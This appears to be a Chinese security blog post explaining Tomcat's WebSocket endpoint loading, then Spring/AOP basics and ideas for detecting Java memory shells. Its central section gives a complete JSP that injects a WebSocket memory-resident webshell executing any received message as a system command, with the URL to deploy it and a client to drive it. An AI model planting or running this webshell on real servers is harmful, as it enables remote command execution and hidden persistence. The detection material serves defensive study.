JSR356 是java制定的websocket编程规范,属于Java EE 7 的一部分,所以Java开发中要实现websocket功能并不需要任何第三方依赖。

相比HTTP协议,WebSocket协议有如下优点:

  • 较少的控制开销。在连接建立后,服务器和客户端之间交换数据时,用于协议控制的数据包头部相对于HTTP请求每次都要携带完整的头部,显著减少。
  • 更强的实时性。由于协议是全双工的,所以服务器可以随时主动给客户端下发数据。相对于HTTP请求需要等待客户端发起请求服务端才能响应,延迟明显更少。
  • 保持连接状态。与HTTP不同的是,Websocket需要先建立连接,这就使得其成为一种有状态的协议,之后通信时可以省略部分状态信息。而HTTP请求可能需要在每个请求都携带状态信息(如身份认证等)。
  • 更好的二进制支持。Websocket定义了二进制帧,相对HTTP,可以更轻松地处理二进制内容。
  • 支持扩展。Websocket定义了扩展,用户可以扩展协议、实现部分自定义的子协议。
  • 更好的压缩效果。相对于HTTP压缩,Websocket在适当的扩展支持下,可以沿用之前内容的上下文,在传递类似的数据时,可以显著提高压缩率。

接下来我们的讨论就以Java WebSocket标准为例。

0x3:Java WebSocket基本原理

1、Ws协议规范

WebSocket全双工通信协议,在客户端和服务端建立连接后,可以持续双向通信,和HTTP同属于应用层协议,并且都依赖于传输层的TCP/IP协议。

虽然WebSocket有别于HTTP,是一种新协议,但是RFC 6455中规定:

it is designed to work over HTTP ports 80 and 443 as well as to support HTTP proxies and intermediaries.
  • WebSocket通过HTTP端口80和443进行工作,并支持HTTP代理和中介,从而使其与HTTP协议兼容。
  • 为了实现兼容性,WebSocket握手使用HTTP Upgrade头从HTTP协议更改为WebSocket协议。
  • Websocket使用ws或wss的统一资源标志符(URI),分别对应明文和加密连接。

在双向通信之前,必须通过握手建立连接。Websocket通过 HTTP/1.1 协议的101状态码进行握手,首先客户端(如浏览器)发出带有特殊消息头(Upgrade、Connection)的请求到服务器,服务器判断是否支持升级,支持则返回响应状态码101,表示协议升级成功,对于WebSocket就是握手成功。

客户端请求示例:

  • Connection必须设置Upgrade,表示客户端希望连接升级。
  • Upgrade: websocket表明协议升级为websocket。
  • Sec-WebSocket-Key字段内记录着握手过程中必不可少的键值,由客户端(浏览器)生成,可以尽量避免普通HTTP请求被误认为Websocket协议。
  • Sec-WebSocket-Version表示支持的Websocket版本。RFC6455要求使用的版本是13。
  • Origin字段是必须的。如果缺少origin字段,WebSocket服务器需要回复HTTP 403 状态码(禁止访问),通过Origin可以做安全校验。

服务端请求示例: 

  • Sec-WebSocket-Accept的字段值是由握手请求中的Sec-WebSocket-Key的字段值生成的。成功握手确立WebSocket连接之后,通信时不再使用HTTP的数据帧,而采用WebSocket独立的数据帧。 

2、Ws服务端实现方式

Tomcat将WebSocket通信中的服务端抽象为了Endpoint,并提供两种方式来实现Endpoint:

  • 注解方式:@ServeEndpoint
  • 继承抽象类方式:javax.websocket.Endpoint

这两种方式都需要实现相应的生命周期。提供了4个标准的生命周期方法,当产生不同的事件时会被回调触发:

  • onOpen: 会话建立
  • onClose: 会话关闭
  • onError: 会话异常
  • onMessage: 接收到消息

Tomcat在启动时会默认通过 WsSci 内的 ServletContainerInitializer 初始化 Listener 和 servlet。然后再扫描 classpath下带有 @ServerEndpoint注解的类进行 addEndpoint加入websocket服务。

所以即使 Tomcat 没有扫描到 @ServerEndpoint注解的类,也会进行Listener和 servlet注册,这就是为什么所有Tomcat启动都能在memshell scanner内看到WsFilter。

1)注解方式实现Ws服务端

通过注解方式实现Endpoint,需要用@ServerEndpoint注解实现了Endpoint生命周期的类,并用生命周期相关的注解(@OnOpen、@OnClose、@OnError、@OnMessage)来注解对应的生命周期实现方法。通过注解的参数,为当前Endpoint注册URI路径。 

服务端代码,WebSocketTest.java

package websocket;

import java.io.IOException;
import java.util.concurrent.CopyOnWriteArraySet;

import javax.websocket.OnClose;
import javax.websocket.OnError;
import javax.websocket.OnMessage;
import javax.websocket.OnOpen;
import javax.websocket.Session;
import javax.websocket.server.ServerEndpoint;
/**
 * @ServerEndpoint 注解是一个类层次的注解,它的功能主要是将目前的类定义成一个websocket服务器端,
 * 注解的值将被用于监听用户连接的终端访问URL地址,客户端可以通过这个URL来连接到WebSocket服务器端
 */

@ServerEndpoint("/websocket")
public class WebSocketTest {

    //静态变量,用来记录当前在线连接数。应该把它设计成线程安全的。
    private static int onlineCount = 0;

    //concurrent包的线程安全Set,用来存放每个客户端对应的MyWebSocket对象。若要实现服务端与单一客户端通信的话,可以使用Map来存放,其中Key可以为用户标识
    private static CopyOnWriteArraySet<WebSocketTest> webSocketSet = new CopyOnWriteArraySet<WebSocketTest>();

    //与某个客户端的连接会话,需要通过它来给客户端发送数据
    private Session session;

    /**
     * 连接建立成功调用的方法
     * @param session  可选的参数。session为与某个客户端的连接会话,需要通过它来给客户端发送数据
     */
    @OnOpen
    public void onOpen(Session session){
        this.session = session;
        webSocketSet.add(this);     //加入set中
        addOnlineCount();           //在线数加1
        System.out.println("有新连接加入!当前在线人数为" + getOnlineCount());
    }

    /**
     * 连接关闭调用的方法
     */
    @OnClose
    public void onClose(){
        webSocketSet.remove(this);  //从set中删除
        subOnlineCount();           //在线数减1
        System.out.println("有一连接关闭!当前在线人数为" + getOnlineCount());
    }

    /**
     * 收到客户端消息后调用的方法
     * @param message 客户端发送过来的消息
     * @param session 可选的参数
     */
    @OnMessage
    public void onMessage(String message, Session session) {
        System.out.println("来自客户端的消息:" + message);
        //群发消息
        for(WebSocketTest item: webSocketSet){
            try {
                item.sendMessage(message);
            } catch (Exception e) {
                e.printStackTrace();
                continue;
            }
        }
    }


    /**
     * 发生错误时调用
     * @param session
     * @param error
     */
    @OnError
    public void onError(Session session, Throwable error){
        System.out.println("发生错误");
        error.printStackTrace();
    }


    /**
     * 这个方法与上面几个方法不一样。没有用注解,是根据自己需要添加的方法。
     * @param message
     * @throws IOException
     */
    public void sendMessage(String message) throws IOException{
        this.session.getBasicRemote().sendText(message);
        //this.session.getAsyncRemote().sendText(message);
    }

    public static synchronized int getOnlineCount() {
        return onlineCount;
    }

    public static synchronized void addOnlineCount() {
        WebSocketTest.onlineCount++;
    }

    public static synchronized void subOnlineCount() {
        WebSocketTest.onlineCount--;
    }


}

下面是客户端的代码 运用的是H5+JS 

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>WebSocket的Client实现</title>
</head>
<body>
 Welcome<br/><input id="text" type="text"/>
    <button onclick="send()">发送消息</button>
    <hr/>
    <button onclick="closeWebSocket()">关闭WebSocket连接</button>
    <hr/>
    <div id="message"></div>
</body>

<script type="text/javascript">
    var websocket = null;
    //判断当前浏览器是否支持WebSocket  url的地址为本机ip地址+Tomcat端口号+项目名称+注解服务器端
    if ('WebSocket' in window) {
        websocket = new WebSocket("ws://127.0.0.1:8080/memshell/websocket");
    }
    else {
        alert('当前浏览器 Not support websocket')
    }

    //连接发生错误的回调方法
    websocket.onerror = function () {
        setMessageInnerHTML("WebSocket连接发生错误");
    };

    websocket.onclose = function (e) {
          console.log('websocket 断开: ' + e.code + ' ' + e.reason + ' ' + e.wasClean)
          console.log(e)
        }

    //连接成功建立的回调方法
    websocket.onopen = function () {
        setMessageInnerHTML("WebSocket连接成功");
    }

    //接收到消息的回调方法
    websocket.onmessage = function (event) {
        setMessageInnerHTML(event.data);
    }

    //连接关闭的回调方法
    websocket.onclose = function () {
        setMessageInnerHTML("WebSocket连接关闭");
    }

    //监听窗口关闭事件,当窗口关闭时,主动去关闭websocket连接,防止连接还没断开就关闭窗口,server端会抛异常。
    window.onbeforeunload = function () {
        closeWebSocket();
    }

    //将消息显示在网页上
    function setMessageInnerHTML(innerHTML) {
        document.getElementById('message').innerHTML += innerHTML + '<br/>';
    }

    //关闭WebSocket连接
    function closeWebSocket() {
        websocket.close();
    }

    //发送消息
    function send() {
        var message = document.getElementById('text').value;
        websocket.send(message);
    }
</script>

</html> 

访问链接:http://localhost:8080/memshell/websocket_client.jsp

然后就可因进行互发消息了在控制台可以进行观察接入动态。 

2)继承抽象类Endpoint方式实现Ws服务端

通过继承抽象类方式实现Endpoint稍微复杂一些,需要实现三个类:

  • Endpoint实现类:主要实现3个标准生命周期方法(onOpen、onError、onClose),添加MessageHandler对象
  • MessageHandler实现类:实现onMessage方法
  • ServerApplicationConfig实现类:完成Endpoint的URI路径注册

@ServerEndpoint的话都是使用默认的。

3、WebSocket在Tomcat中的源码实现

Tomcat的WebSocket加载是通过SCI机制完成的。

Tomcat在启动时会对classpath下的Jar包进行扫描,扫描包中的META-INF/services/javax.servlet.ServletContainerInitializer文件。

对于Tomcat WebSocket来说,下图是tomcat-websocket.jar的ServletCotainerInitializer文件。

tomcat会加载文件中的类,org.apache.tomcat.websocket.server.WsSci,该类是ServletContainerInitializer接口的实现类。

然后该类的@HandleTypes注解的值会指定的一系列类、接口、注解。Tomcat会获取指定类、接口、注解的实现类,并在调用WsSci#onStartup时作为参数传入。

ServerEndpoint、ServerApplicationConfig、Endpoint的实现类,以参数传入WsSci#onStartup。 

  • ServerApplicationConfig的实现类,实例化后存入serverApplicationConfigs变量。
  • Endpoint的实现类,存入scannedEndpointClazzes变量。
  • ServerEndpoint注解的类,存入scannedPojoEndpoints变量。

变量存储情况如下,通过注解方式实现的WebSocketServer类存入了scannedPojoEndpoints,通过继承抽象类方式实现的WebSocketServer2类存入了scannedEndpointClazzes。

另外,scannedEndpointClazzes中还存入了PojoEndpointClient和PojoEndpointServer两个类。接着会根据serverApplicationConfigs、scannedEndpointClazzes、scannedPojoEndpoints三个变量的值,来构建两个变量:

  • filteredEndpointConfigs:如果有ServerApplicationConfig对象,则遍历所有对象并完成如下操作:调用其getEndpointConfigs方法获取ServerEndpointConfig的集合,加入到filteredEndpointConfigs中。因此filteredEndpointConfigs存储的是通过ServerApplicationConfig对象获取的ServerEndpointConfig对象的集合。
  • filteredPojoEndpoints:利用同样的ServerApplicationConfig对象,调用其getAnnotatedEndpointClasses方法获取Class对象的集合,也是被ServerEndpoint注解的类的集合。因此filteredPojoEndpoints存储的是@ServerEndpoint注解的类的集合。

接着就是根据两个变量向WsServerContainer添加Endpoint,完成Endpoint的部署。 

完成Ws的添加后,接下来继续跟踪Ws Endpoint的执行。

WsSci#onStartup中,会进行WsServerContainer的创建和初始化,在创建过程中会通过ServletContext#addFilter调用ApplicationContextFacade#addFilter添加过滤器WsFilter。

之后所有的请求都会经过WsFilter。之后接收到请求之后,如果注册有Endpoint,且请求是WebSocket的协议升级请求,进行规则匹配及升级。 

为了匹配规则,会通过WsServerContainer#findMapping获取URI路径对应的WsMappingResult对象,并进行协议升级。

0x4:Java Ws内存马原理

根据Endpoint的加载原理,要想动态添加一个Endpoint,就需要获取WsServerContainer,并通过addEndpoint向其中添加ServerEndpointConfig。

在WsSci#init中,完成了对WsServerContainer的实例化,并且通过ServletContext#setAttribute对WsServerContainer进行存储。因此就可以通过ServletContext来获取WsServerContainer。

最终WebSocket内存马实现步骤如下:

  • 实现Endpoint,MessageHandler.onMessage中实现木马通讯功能
  • 为Endpoint创建ServerEndpointConfig
  • 依次获取ServletConext和WsServerContainer
  • 通过WsServerContainer.addEndpoint添加ServerEndpointConfig
<%@ page import="javax.websocket.server.ServerEndpointConfig" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page import="javax.websocket.*" %>
<%@ page import="java.io.*" %>

<%!
    public static class C extends Endpoint implements MessageHandler.Whole<String> {
        private Session session;
        @Override
        public void onMessage(String s) throws IOException {
            try {
                Process process;
                process = Runtime.getRuntime().exec(s);
                InputStream inputStream = process.getInputStream();
                StringBuilder stringBuilder = new StringBuilder();
                int i;
                while ((i = inputStream.read()) != -1)
                    stringBuilder.append((char)i);
                inputStream.close();
                process.waitFor();
                session.getBasicRemote().sendText(stringBuilder.toString());
            } catch (Exception exception) {
                exception.printStackTrace();
            }
        }
        @Override
        public void onOpen(final Session session, EndpointConfig config) {
            this.session = session;
            session.addMessageHandler(this);
        }
    }
%>
<%
    String path = request.getParameter("path");
    ServletContext servletContext = request.getSession().getServletContext();
    ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(C.class, path).build();
    ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
    try {
        if (servletContext.getAttribute(path) == null){
            container.addEndpoint(configEndpoint);
            servletContext.setAttribute(path,path);
        }
        out.println("success, connect url path: " + servletContext.getContextPath() + path);
    } catch (Exception e) {
        out.println(e.toString());
    }
%>

访问链接:http://localhost:8080/memshell/ws_memshell.jsp?path=/ws_memshell

之后可以使用ws client和ws内存马进行交互。

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>WebSocket的Client实现</title>
</head>
<body>
 Welcome<br/><input id="text" type="text"/>
    <button onclick="send()">发送消息</button>
    <hr/>
    <button onclick="closeWebSocket()">关闭WebSocket连接</button>
    <hr/>
    <div id="message"></div>
</body>

<script type="text/javascript">
    var websocket = null;
    //判断当前浏览器是否支持WebSocket  url的地址为本机ip地址+Tomcat端口号+项目名称+注解服务器端
    if ('WebSocket' in window) {
        websocket = new WebSocket("ws://127.0.0.1:8080/memshell/ws_memshell");
    }
    else {
        alert('当前浏览器 Not support websocket')
    }

    //连接发生错误的回调方法
    websocket.onerror = function () {
        setMessageInnerHTML("WebSocket连接发生错误");
    };

    websocket.onclose = function (e) {
          console.log('websocket 断开: ' + e.code + ' ' + e.reason + ' ' + e.wasClean)
          console.log(e)
        }

    //连接成功建立的回调方法
    websocket.onopen = function () {
        setMessageInnerHTML("WebSocket连接成功");
    }

    //接收到消息的回调方法
    websocket.onmessage = function (event) {
        setMessageInnerHTML(event.data);
    }

    //连接关闭的回调方法
    websocket.onclose = function () {
        setMessageInnerHTML("WebSocket连接关闭");
    }

    //监听窗口关闭事件,当窗口关闭时,主动去关闭websocket连接,防止连接还没断开就关闭窗口,server端会抛异常。
    window.onbeforeunload = function () {
        closeWebSocket();
    }

    //将消息显示在网页上
    function setMessageInnerHTML(innerHTML) {
        document.getElementById('message').innerHTML += innerHTML + '<br/>';
    }

    //关闭WebSocket连接
    function closeWebSocket() {
        websocket.close();
    }

    //发送消息
    function send() {
        var message = document.getElementById('text').value;
        websocket.send(message);
    }
</script>

</html>

访问链接:http://localhost:8080/memshell/websocket_client.jsp

参考链接:

https://blog.csdn.net/Dawns_1106/article/details/118368263 
https://blog.csdn.net/weixin_36586120/article/details/120025498 
https://www.anquanke.com/post/id/280529 
https://github.com/veo/wsMemShell/blob/main/Tomcat_Spring_Jetty/wscmd.jsp
https://github.com/veo/wsMemShell/ 
https://xz.aliyun.com/t/11566

0x1:什么是Spring

Spring是一个支持快速开发Java EE应用程序的框架。它提供了一系列底层容器和基础设施,并可以和大量常用的开源框架无缝集成。

Spring最早是由Rod Johnson这哥们在他的《Expert One-on-One J2EE Development without EJB》一书中提出的用来取代EJB的轻量级框架。随后这哥们又开始专心开发这个基础框架,并起名为Spring Framework。

随着Spring越来越受欢迎,在Spring Framework基础上,又诞生了

  • Spring Boot
  • Spring Cloud
  • Spring Data
  • Spring Security

等一系列基于Spring Framework的项目。

这里我们简单介绍一些Spring的一些核心概念。

1、IOC容器

什么是容器?容器是一种为某种特定组件的运行提供必要支持的一个软件环境。例如,Tomcat就是一个Servlet容器,它可以为Servlet的运行提供运行环境。类似Docker这样的软件也是一个容器,它提供了必要的Linux环境以便运行一个特定的Linux进程。

通常来说,使用容器运行组件,除了提供一个组件运行环境之外,容器还提供了许多底层服务。例如,Servlet容器底层实现了TCP连接,解析HTTP协议等非常复杂的服务,如果没有容器来提供这些服务,我们就无法编写像Servlet这样代码简单,功能强大的组件。早期的JavaEE服务器提供的EJB容器最重要的功能就是通过声明式事务服务,使得EJB组件的开发人员不必自己编写冗长的事务处理代码,所以极大地简化了事务处理。

Spring的核心就是提供了一个IoC容器,它可以管理所有轻量级的JavaBean组件,提供的底层服务包括组件的生命周期管理、配置和组装服务、AOP支持,以及建立在AOP基础上的声明式事务服务等。

2、AOP

AOP是Aspect Oriented Programming,即面向切面编程。

与这个概念相对的是OOP,即Object Oriented Programming,OOP作为面向对象编程的模式,获得了巨大的成功,OOP的主要功能是数据封装、继承和多态。

而AOP是一种新的编程方式,它和OOP不同,OOP把系统看作多个对象的交互,AOP把系统分解为不同的关注点,或者称之为切面(Aspect)。

要理解AOP的概念,我们先用OOP举例,比如一个业务组件BookService,它有几个业务方法:

  • createBook:添加新的Book
  • updateBook:修改Book
  • deleteBook:删除Book

对每个业务方法,例如,createBook(),除了业务逻辑,还需要安全检查、日志记录和事务处理,它的代码像这样: 

public class BookService {
    public void createBook(Book book) {
        securityCheck();
        Transaction tx = startTransaction();
        try {
            // 核心业务逻辑
            tx.commit();
        } catch (RuntimeException e) {
            tx.rollback();
            throw e;
        }
        log("created book: " + book);
    }
}

继续编写updateBook(),代码如下:

public class BookService {
    public void updateBook(Book book) {
        securityCheck();
        Transaction tx = startTransaction();
        try {
            // 核心业务逻辑
            tx.commit();
        } catch (RuntimeException e) {
            tx.rollback();
            throw e;
        }
        log("updated book: " + book);
    }
}

对于安全检查、日志、事务等代码,它们会重复出现在每个业务方法中。使用OOP,我们很难将这些四处分散的代码模块化。

可以发现,BookService关心的是自身的核心逻辑,但整个系统还要求关注安全检查、日志、事务等功能,这些功能实际上“横跨”多个业务方法,为了实现这些功能,不得不在每个业务方法上重复编写代码。

一种可行的方式是使用Proxy模式,将某个功能,例如,权限检查,放入Proxy中:

public class SecurityCheckBookService implements BookService {
    private final BookService target;

    public SecurityCheckBookService(BookService target) {
        this.target = target;
    }

    public void createBook(Book book) {
        securityCheck();
        target.createBook(book);
    }

    public void updateBook(Book book) {
        securityCheck();
        target.updateBook(book);
    }

    public void deleteBook(Book book) {
        securityCheck();
        target.deleteBook(book);
    }

    private void securityCheck() {
        ...
    }
}

这种方式的缺点是比较麻烦,必须先抽取接口,然后,针对每个方法实现Proxy。

另一种方法是,既然SecurityCheckBookService的代码都是标准的Proxy样板代码,不如把权限检查视作一种切面(Aspect),把日志、事务也视为切面,然后,以某种自动化的方式,把切面织入到核心逻辑中,实现Proxy模式。

如果我们以AOP的视角来编写上述业务,可以依次实现:

  • 核心逻辑,即BookService
  • 切面逻辑,即
    • 权限检查的Aspect
    • 日志的Aspect
    • 事务的Aspect

然后,以某种方式,让框架来把上述3个Aspect以Proxy的方式“织入”到BookService中,这样一来,就不必编写复杂而冗长的Proxy模式。

如何把切面织入到核心逻辑中?这正是AOP需要解决的问题。换句话说,如果客户端获得了BookService的引用,当调用bookService.createBook()时,如何对调用方法进行拦截,并在拦截前后进行安全检查、日志、事务等处理,就相当于完成了所有业务功能。

在Java平台上,对于AOP的织入,有3种方式:

  • 编译期:在编译时,由编译器把切面调用编译进字节码,这种方式需要定义新的关键字并扩展编译器,AspectJ就扩展了Java编译器,使用关键字aspect来实现植入
  • 类加载器:在目标类被装载到JVM时,通过一个特殊的类加载器,对目标类的字节码重新“增强”
  • 运行期:目标对象和切面都是普通Java类,通过JVM的动态代理功能或者第三方库实现运行期动态植入

最简单的方式是第三种,Spring的AOP实现就是基于JVM的动态代理。由于JVM的动态代理要求必须实现接口,如果一个普通类没有业务接口,就需要通过CGLIB或者Javassist这些第三方库实现。

AOP技术看上去比较神秘,但实际上,它本质就是一个动态代理,让我们把一些常用功能如权限检查、日志、事务等,从每个业务方法中剥离出来。

需要特别指出的是,AOP对于解决特定问题,例如事务管理非常有用,这是因为分散在各处的事务代码几乎是完全相同的,并且它们需要的参数(JDBC的Connection)也是固定的。另一些特定问题,如日志,就不那么容易实现,因为日志虽然简单,但打印日志的时候,经常需要捕获局部变量,如果使用AOP实现日志,我们只能输出固定格式的日志,因此,使用AOP时,必须适合特定的场景。

3、Spring Web应用开发

我们知道,Servlet是Java EE Web开发的基础,具体地说,有以下几点:

  1. Servlet规范定义了几种标准组件:Servlet、JSP、Filter和Listener
  2. Servlet的标准组件总是运行在Servlet容器中,如Tomcat、Jetty、WebLogic等

直接使用Servlet进行Web开发好比直接在JDBC上操作数据库,比较繁琐,更好的方法是在Servlet基础上封装MVC框架,基于MVC开发Web应用,大部分时候,不需要接触Servlet API,开发省时省力。 

因此,开发Web应用,首先要选择一个优秀的MVC框架。常用的MVC框架有:

  • Struts:最古老的一个MVC框架,目前版本是2,和1.x有很大的区别
  • WebWork:一个比Struts设计更优秀的MVC框架,但不知道出于什么原因,从2.0开始把自己的代码全部塞给Struts 2了
  • Turbine:一个重度使用Velocity,强调布局的MVC框架

Spring理论上可以集成任何Web框架,但是,Spring本身也开发了一个MVC框架,就叫Spring MVC。这个MVC框架设计得足够优秀以至于我们已经不想再费劲去集成类似Struts这样的框架了。 

下面我们用Idea创建一个spring web应用。

Idea-->File-->New-->Project,

创建web项目,勾选Web需要的依赖,

创建完毕后IDEA会自动化的,利用Maven功能下载需要的jar包。项目结构如下:

写一个测试页面,测试一下,Hello World页面。

0x2:Springboot拦截器原理

参考链接:

https://blog.csdn.net/qq_36223406/article/details/120850022 
https://www.liaoxuefeng.com/wiki/1252599548343744/1282383921807393
https://blog.csdn.net/qq_43369986/article/details/116746868 
https://www.cnblogs.com/zpchcbd/p/15545773.html
https://xz.aliyun.com/t/11039

参考链接:

https://www.freebuf.com/articles/web/172753.html
https://www.cnblogs.com/xyylll/p/15473386.html
https://www.cnblogs.com/LittleHann/p/17462796.html
https://xz.aliyun.com/t/11640

源码检测 - 攻防上限最高的方式

在java中,只有被JVM加载后的类才能被调用,或者在需要时通过反射通知JVM加载。所以特征都在内存中,表现形式为被加载的class。需要通过某种方法获取到JVM的运行时内存中已加载的类,Java本身提供了Instrumentation类来实现运行时注入代码并执行,因此产生一个检测思路:

注入jar包 -> dump已加载class字节码 -> 反编译成java代码 -> 源码webshell检测

这样检测比较消耗性能,我们可以缩小需要进行源码检测的类的范围,通过如下的筛选条件组合使用筛选类进行检测:

  • ① 新增的或修改的
  • ② 没有对应class文件的,常见于通过反序列化漏洞从外部传入的内存马
  • ③ xml配置中没注册的,常见于通过反序列化漏洞从外部传入的内存马
  • ④ 冰蝎等常见工具使用的,有特性调用栈特征的
  • ⑤ filterchain中排第一的filter类

还有一些比较弱的特征可以用来辅助检测,比如:

  • 类名称中包含shell或者为随机名
  • 使用不常见的classloader加载的类等等

参考链接:

https://www.freebuf.com/articles/web/274466.html

文章来源: https://www.cnblogs.com/LittleHann/p/17722536.html
如有侵权请联系:admin#unsafe.sh